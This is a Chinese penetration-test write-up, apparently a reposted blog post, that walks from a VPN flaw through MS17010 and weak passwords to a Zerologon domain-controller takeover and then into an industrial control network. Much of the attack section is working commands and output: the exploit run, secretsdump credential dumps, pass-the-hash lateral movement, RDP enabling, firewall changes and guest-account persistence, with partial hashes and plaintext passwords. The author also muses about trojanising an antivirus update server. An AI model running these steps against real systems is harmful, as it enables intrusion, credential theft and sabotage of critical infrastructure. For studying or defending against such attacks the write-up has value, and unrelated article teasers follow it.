实战 | 域环境下通过anydesk进入生产网

 视频教程在我主页简介或专栏里 

目录: 

前言

  外网突破

  资产扫描与常规漏洞

   经典的MS17010漏洞利用:

   网络通信设备弱口令:

   安全防护设备集群:

  域环境渗透

  核心生产网渗透

  总结

教程下载链接:zkanzz 

话不多说,我们开始: 

前言

作为一个资深的安服仔,经常要去客户那里做渗透测试的。最近在做项目的时候,领导让我带带徒弟,于是把整个过程做了详细记录,重点是域环境的渗透,有很多碰到的问题和解决思路,大佬勿喷哈哈,为了脱敏,其中涉及的域名全部用*.COM代替。

外网突破

确定目标后,我一般是第一时间用各种信息搜集工具招呼过去。凭我的经验来看,goby由于集成了端口扫描、指纹识别、目录扫描、漏洞扫描等功能,信息搜集的效果还是比较好的,但是尴尬的是针对该目标啥也扫不出来(可能全端口扫会有结果,但是太慢了)

goby不灵就换个工具和思路,这里我利用网络空间测绘平台fofa发现该公司部署在公网Fortigate VPN设备。恰好存在CVE-2020-7042漏洞没有修复,于是我利用网上公开的exp获取部分员工VPN登录账号,成功进入公司内网:

资产扫描与常规漏洞

利用fscan等工具对目标内网资产进行扫描探测,发现网段10段存在大量存活主机。通过SMB口令碰撞、SQLServer提权、SSH弱口令、MS17010等方式获取了几台内网主机权限。接下来通过拿到的权限,收集本地shadow文件、浏览器记录、数据库配置文件、桌面敏感信息等,继续做成密码字典,重新进行内网各种口令爆破,继续拿权限,这样周而复始做过几轮之后,拿了很多权限,有windows主机,也有linux主机,具体步骤我记录了几台:

通过扫描结果首先看到主机151上存在weblogic服务

该服务是存在CVE-2016-0638漏洞,于是利用网上公开的exp工具直接getshell了,通过id指令可以看到我们获取的是oracle用户权限

经典的MS17010漏洞利用:

接着我们遇到了好几台主机都存在经典的ms17010漏洞没有修复的情况。 第一台:主机24存在MS17010漏洞,利用msf获取shell的过程如下

利用mimikatz抓取出明文密码

第二台:主机32存在MS17010漏洞,利用MSF成功获取控制权限:

加载mimikatz模块读取明文密码

开启3389远程桌面并成功登录,发现该主机有核心业务-综合信息系统。为了防止权限丢失,激活了guest用户,修改其密码为Hello123456@1_2_3

第三台:主机55存在MS17010漏洞,但是只能执行command弹不出meterpreter

这里只能加载ms17_010_command模块来执行相应的cmd命令,发现有user用户,列出其桌面目录

网络通信设备弱口令:

目标公司下属的通信部门一台NAS主机中存放一张路由交换网络拓扑图,并且泄露了部分路由器的管理员账户。根据此图,定位所有路由器和交换机IP地址,利用超级弱口令检查工具,成功获取权限的有十余台,弱口令账号是admin/目标名称缩写@123:

另外还有几台思科路由器(20/116/224),账号密码也是弱口令cisco/cisco 随便选择一台思科路由器,利用上面获得的弱口令可以成功登录,其Web界面登录如下:

当然,也可以使用telnet连接成功截图如下:

安全防护设备集群:

内网信息搜集时发现一台开放3389端口的winserver2019服务器,地址为37,开始以为是一台普通的服务器,利用超级弱口令检查工具发现其存在弱口令Admin@123,可以远程登录桌面

没想到该服务器安装有杀毒软件集中管控平台,总共控制6380个用户终端,好家伙,一个“邪恶”的想法就涌了上来:如果深入研究其病毒库更新机制,能否把更新模块替换为我们的木马,批量控制所有用户终端呢?可惜,我水平一般,研究了半天也不知道怎么去实现我的想法,网上也没有现成的公开的案例,以后再找大佬去慢慢研究吧。

为了防止用户丢失,激活了guest用户,修改其密码为Hello123456@1_2_3

域环境渗透

也许是运气比较好吧,很快又发现内网地址段10.77.9.1/24存在域环境,且能够确定域控地址为10.77.9.4 利用超级弱口令检查工具批量扫描C段域环境主机,发现域内一台主机155 存在弱口令Administrator/目标单位简称@123,成功登陆其远程桌面如下,是一台数据库服务器。

翻找到数据库配置文件如下,我将其中的密码加入了密码字典中,后续可以依此进行口令碰撞

add key="connectionstring" value="Data Source=SERVER;Initial Catalog=zxzdb;Persist Security Info=True;User ID=sa;password=zxz@123"

上传免杀马上线cs

抓取本机密码hash

------------------- Mscache passwords -----------------administrator:2a519d1804e93b3455:ZXZ:*.COM
------------------- Hashdump passwords -----------------Administrator:500:aad3b435b51404eeaad3b435b51404ee:5db8fba761c1008a51d4c95ab:::Guest:501:aad3b435b51404eeaad3b435b51404ee:16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f86cef930fd92366d89f140d:::PC:1002:aad3b435b51404eeaad3b435b51404ee:04a6f13a48cb6b:::

利用在线破解md5的网站,成功破解的MD5是PC/Admin!@#

利用该主机进行域内信息搜集,域内主机共418台,域管理员仅有一个是administrator:

可以确定,域的域控主机名为SERVERZXZ2,将bloodhound客户端上传到域内任意一台机器上,搜集域内拓扑信息,再下载到本地的kali主机上,利用bloodhound分析域内拓扑关系与攻击路径:

经过分析后,尝试利用前两年爆出来的经典zerologon漏洞cve-2020-1472打域控,首先检测漏洞是否存在:

确定漏洞存在后,执行exp按照步骤:置空域控密码->导出域所有hash->利用域管hash登录域控主机->恢复域控原始hash防止脱域

挂好内网代理,执行exp置空域控密码

root@perfect-pod-10:~/CVE-2020-1472# proxychains python3 cve-2020-1472-exploit.py SERVERZXZ2 10.77.9.4
ProxyChains-3.1 (http://proxychains.sf.net)Performing authentication attempts...|S-chain|-<>-VPS:57777-<><>-10.77.9.4:135-<><>-OK|S-chain|-<>-VPS:57777-<><>-10.77.9.4:49671-<><>-OK======================================================================================================================================================================================================================================Target vulnerable, changing account password to empty stringResult: 0Exploit complete!

导出域所有hash

root@perfect-pod-10:~/CVE-2020-1472# proxychains python3 secretsdump.py *.COM/SERVERZXZ2\$@10.77.9.4 -no-passProxyChains-3.1 (http://proxychains.sf.net)Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
|S-chain|-<>-VPS:57777-<><>-10.77.9.4:445-<><>-OK[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secrets|S-chain|-<>-VPS:57777-<><>-10.77.9.4:135-<><>-OK|S-chain|-<>-VPS:57777-<><>-10.77.9.4:49671-<><>-OKAdministrator:500:aad3b435b51404eeaad3b435b51404ee:92bae25563a498a86e6:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6096cec445fecd524781:::*.COM\AAA:1115:aad3b435b51404eeaad3b435b51404ee:c389e095742d1111555ad:::*.COM\BBB:1121:aad3b435b51404eeaad3b435b51404ee:59b1d5b6406607ea0c2d:::*.COM\CCC:1126:aad3b435b51404eeaad3b435b51404ee:5396a651e07de633d5fd2::: *.COM\DDD:1128:aad3b435b51404eeaad3b435b51404ee:520cb9d17a2432fdb5:::*.COM\EEE:1129:aad3b435b51404eeaad3b435b51404ee:9b8cc5b8b55cc772d14379d:::*.COM\FFF:1132:aad3b435b51404eeaad3b435b51404ee:dd655ebdaf7e1db0d134cce:::(这里因为有四百多条太多了,就省略掉了)[*] ClearText passwords grabbed*.COM\DOC:CLEARTEXT:DOC[*] Cleaning up...

注意最上面的这里就是域管的hash,切换impacket工具利用域管的hash就能够登录域控主机

PS C:\Users\Sheep\Music\impacket-0.11.0\examples> python wmiexec.py -hashes aad3b435b51404eeaa1404ee:92bae25563a498a86e6 *.COM/administrator@10.77.9.4

恢复域控原始hash防止脱域:

reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.savelget system.savelget sam.savelget security.save
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

注意找到这里

$MACHINE.ACC: aad3b435b51404eeaad3b435b:c4f4f0ec1cf81a60dc058

注意其后半部分c4f4f0ec1cf6fec0ca7a8 即为域控机器原始hash值

root@perfect-pod-10:~/CVE-2020-1472/zerologon# proxychains python3 reinstall_original_pw.py SERVERZXZ2 10.77.9.4 c4f4f0ec1cf6fec0cc058

如何验证恢复hash成功没有问题? 方法1:

proxychains python3 secretsdump.py *.COM/SERVERZXZ2\$@10.77.9.4 -no-pass

此时无法访问说明hash不为空

方法2:

proxychains python3 secretsdump.py *.COM/administrator@10.77.9.4 -hashes aad3b435b51404eeaa4ee:cb136a448767792b498a86

此时利用域管hash可以成功dump出所有hash

最后成功登录域控远程桌面,查看活动目录AD可见域内主机418台

现在我们可以说拥有了域的上帝权限,可以为所欲为啦,哈哈哈!比如,可以利用下面指令做域内横向移动

python smbexec.py -hashes aad3b435b51404eeaad304ee:cb136a4487677a498 *.COM/administrator@10.77.9.69

或者用atexec也可以(端口不同)

python atexec.py -hashes :cb136677963a498a8e6 *.COM/administrator@10.77.9.69 "net user"

开启远程桌面的cmd指令

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

防火墙开放端口3389

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

利用Mimikatz的hash传递登录远程桌面

sekurlsa::pth /user:administrator /domain:10.77.9.69 /ntlm:cb136a448763a498a6e6 "/run:mstsc.exe /restrictedadmin"

这里展示一台域内的10.77.9.211机器可以用域管账号登陆远程桌面,但是切换不到普通用户

核心生产网渗透

我把域环境下获取的用户口令添加进密码字典,再研究其命名规则,进一步组合弱口令进行暴力破解445端口,最终成功获取地址段10.157.1.1/24中的一台控制中心主机的管理员密码,利用wmiexec连接并开启远程桌面并登陆成功:

利用anydesk历史会话进入ID号为XXX的主机,获取其ip地址为192.168.25.31,至此进入第二层内网—生产区 该主机运行有信号调度系统,即计算机控制系统,是核心工控系统

总结

确定攻击目标公司之后,利用网络空间测绘平台fofa发现该公司部署在公网Fortigate VPN设备。利用CVE-2020-7042漏洞获取部分员工VPN登录账号,成功进入公司内网。 内网渗透过程中,通过弱口令获取部分路由器交换机权限;通过组合口令登录一台卡巴斯基集中管控平台,为了攻击内网部分不出网主机,将本地杀软关闭后,以其为掩护搭建内网攻击平台(包括msfconsole/fscan/Get_Pass等工具),利用MS17010漏洞获取部分员工终端系统权限,再利用同口令攻击不断扩大攻击面,被控的员工终端中,有的存有网络设备账号密码,有的存有员工敏感信息,有的访问核心业务系统;信息搜集发现域环境并锁定域控,利用CVE-2020-1472(zerologon)漏洞直接获取域控权限,从而完全控制所属418台主机权限。在内网已控员工主机中进行敏感信息搜集中锁定一台控制中心主机,利用组合口令获取其控制权限,远程登陆后发现通过anydesk控制生产区主机。 其实每次渗透测试实战时每个环境都不一样,这里给各位师傅一句建议就是每次做渗透时要么写一份语雀要么将报告保存好,这样有助于增长我们的实战经验,忘了也可以返回去看自己的骚姿势。在此感谢各位师傅观看!

视频教程在我主页简介或专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/8665.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

卡特兰数学习

1&#xff0c;概念 卡特兰数&#xff08;英语&#xff1a;Catalan number&#xff09;&#xff0c;又称卡塔兰数&#xff0c;明安图数。是组合数学中一种常出现于各种计数问题中的数列。它在不同的计数问题中频繁出现。 2&#xff0c;公式 卡特兰数的递推公式为&#xff1a;f(…

算法刷题Day28:BM66 最长公共子串

题目链接&#xff0c;点击跳转 题目描述&#xff1a; 解题思路&#xff1a; 方法一&#xff1a;暴力枚举 遍历str1的每个字符x&#xff0c;并在str2中寻找以相同元素x为起始的最长字符串。记录最长的公共子串及其长度。 代码实现&#xff1a; def LCS(self, str1: str, st…

Open FPV VTX开源之ardupilot双OSD配置摄像头

Open FPV VTX开源之ardupilot双OSD配置 1 源由2. 分析3. 配置4. 解决办法5. 参考资料 1 源由 鉴于笔者这台Mark4 Copter已经具备一定的历史&#xff0c;目前机载了两个FPV摄像头&#xff1a; 模拟摄像头数字摄像头(OpenIPC) 测试场景&#xff1a; 从稳定性的角度&#xff1…

【Super Tilemap Editor使用详解】(十六):高级主题:深入理解 Super Tilemap Editor

在本节中,我们将深入探讨 Super Tilemap Editor 的工作原理,特别是图块地图(Tilemap)的渲染机制以及如何优化性能。这些知识将帮助你更好地理解工具的内部机制,并在开发中做出更明智的决策。 一、图块地图与图块渲染 图块地图是 Super Tilemap Editor 的核心组件之一。它由…

01学习预热篇(D6_正式踏入JVM深入学习前的铺垫)

目录 学习前言 一、虚拟机的结构 1. Java虚拟机参数设置 2. java 堆 3. 出入栈 4. 局部变量表 1> 局部变量的剖析 2> 局部变量的回收 5. 操作数栈 1> 常量入栈指令 2> 局部变量值转载到栈中指令 3> 将栈顶值保存到局部变量中指令 6. 帧数据区 7. 栈…

Node.js下载安装及环境配置教程 (详细版)

Node.js&#xff1a;是一个基于 Chrome V8 引擎的 JavaScript 运行时&#xff0c;用于构建可扩展的网络应用程序。Node.js 使用事件驱动、非阻塞 I/O 模型&#xff0c;使其非常适合构建实时应用程序。 Node.js 提供了一种轻量、高效、可扩展的方式来构建网络应用程序&#xff0…

SimpleFOC STM32教程10|基于STM32F103+CubeMX,速度闭环控制(有电流环)

导言 SimpleFOC STM32教程09&#xff5c;基于STM32F103CubeMX&#xff0c;ADC采样相电流 如上图所示, 增加了电流环. 效果如下&#xff1a; 20250123-200906 RTT 如上图所示&#xff0c;三相占空比依然是马鞍波。当我用手去给电机施加阻力时&#xff0c;PID要维持目标转速&am…

【超详细】ELK实现日志采集(日志文件、springboot服务项目)进行实时日志采集上报

本文章介绍&#xff0c;Logstash进行自动采集服务器日志文件&#xff0c;并手把手教你如何在springboot项目中配置logstash进行日志自动上报与日志自定义格式输出给logstash。kibana如何进行配置索引模式&#xff0c;可以在kibana中看到采集到的日志 日志流程 logfile-> l…

DeepSeek-R1:强化学习驱动的推理模型

1月20日晚&#xff0c;DeepSeek正式发布了全新的推理模型DeepSeek-R1&#xff0c;引起了人工智能领域的广泛关注。该模型在数学、代码生成等高复杂度任务上表现出色&#xff0c;性能对标OpenAI的o1正式版。同时&#xff0c;DeepSeek宣布将DeepSeek-R1以及相关技术报告全面开源。…

李沐vscode配置+github管理+FFmpeg视频搬运+百度API添加翻译字幕

终端输入nvidia-smi查看cuda版本 我的是12.5&#xff0c;在网上没有找到12.5的torch&#xff0c;就安装12.1的。torch&#xff0c;torchvision&#xff0c;torchaudio版本以及python版本要对应 参考&#xff1a;https://blog.csdn.net/FengHanI/article/details/135116114 创…

炫酷JavaScript文本时钟

今天分享一段简单的 JS 代码&#xff0c;创意来自aem1k.com/qlock &#xff0c;可以将整段 JS 代码字符本身变成时钟&#xff0c;每秒以 HH:MM:SS 的格式显示当前的时间。 JS逻辑实现代码本身也是时钟展示的载体&#xff0c;通过给字符设置不同的高亮颜色来显示当前的时间&…

前端jquery 实现文本框输入出现自动补全提示功能

git仓库&#xff1a;web_study/some-demos/inputAutoFit at main Cong0925/web_study (github.com) 压缩包&#xff1a;已绑定到指定资源 示例图&#xff1a; 实现说明: 1.首先&#xff0c;html部分设置好相关的定位标签如图&#xff1a; 2.主要函数 3.默认数据

Python3 OS模块中的文件/目录方法说明十二

一. 简介 前面文章简单学习了 Python3 中 OS模块中的文件/目录的部分函数。 本文继续来学习 OS 模块中文件、目录的操作方法&#xff1a;rename() 方法与 renames()方法。 二. Python3 OS模块中的文件/目录方法 1. rename() 方法 rename() 方法用于重命名文件或目录。它还可…

【Uniapp-Vue3】StorageSync数据缓存API

一、存储本地数据 uni.setStorageSync("键名", 键值); 二、获取本地数据 uni.getStorageSync("键名"); 也可以同时获取所有存储的数据的键名&#xff1a; uin.getStorageInfoSync(); 三、删除本地数据 uni.removeStorageSync("键名"); 如果想要…

2. Java-MarkDown文件解析-工具类

2. Java-MarkDown文件解析-工具类 1. 思路 读取markdown文件的内容&#xff0c;根据markdown的语法进行各个类型语法的解析。引入工具类 commonmark 和 commonmark-ext-gfm-tables进行markdown语法解析。 2. 工具类 pom.xml <!-- commonmark 解析markdown --> <d…

【Pytest】生成html报告中,中文乱码问题解决方案

import pytestif __name__ "__main__":# 只运行 tests 目录下的测试用例&#xff0c;并生成 HTML 报告pytest.main([-v, -s, --htmlreport.html, tests])可以以上方式生成&#xff0c;也可以在pytest.ini中设置 [pytest] addopts --htmlreport.html --self-contai…

Couchbase UI: Views

Couchbase 的 Views 页面是用于创建和管理视图的部分&#xff0c;视图是一种用于从 Couchbase 中提取和聚合数据的机制。视图通常用于实现简单的查询和数据汇总&#xff0c;特别是在处理大数据集时。以下是关于 Couchbase Views 页面的详细说明。 Views 页面功能概述 视图创建…

SpringBoot+Electron教务管理系统 附带详细运行指导视频

文章目录 一、项目演示二、项目介绍三、运行截图四、主要代码1.查询课程表代码2.保存学生信息代码3.用户登录代码 一、项目演示 项目演示地址&#xff1a; 视频地址 二、项目介绍 项目描述&#xff1a;这是一个基于SpringBootElectron框架开发的教务管理系统。首先&#xff…

mysql索引 a

2.1 索引概述 2.1.1 介绍 索引&#xff08;index&#xff09;是帮助MySQL高效获取数据的数据结构(有序)。在数据之外&#xff0c;数据库系统还维护着满足 特定查找算法的数据结构&#xff0c;这些数据结构以某种方式引用&#xff08;指向&#xff09;数据&#xff0c; 这样就…

HTML5+SVG+CSS3实现雪中点亮的圣诞树动画效果源码

源码介绍 这是一款基于HTML5SVGCSS3实现雪中点亮的圣诞树动画效果源码。画面中的圣诞树矗立在雪地中&#xff0c;天上飘落着雪花。当鼠标滑过圣诞树时&#xff0c;可见到圣诞树上的灯光闪烁&#xff0c;同时左下角探出雪怪模样的半个脑袋&#xff0c;四处张望着。整体画面栩栩…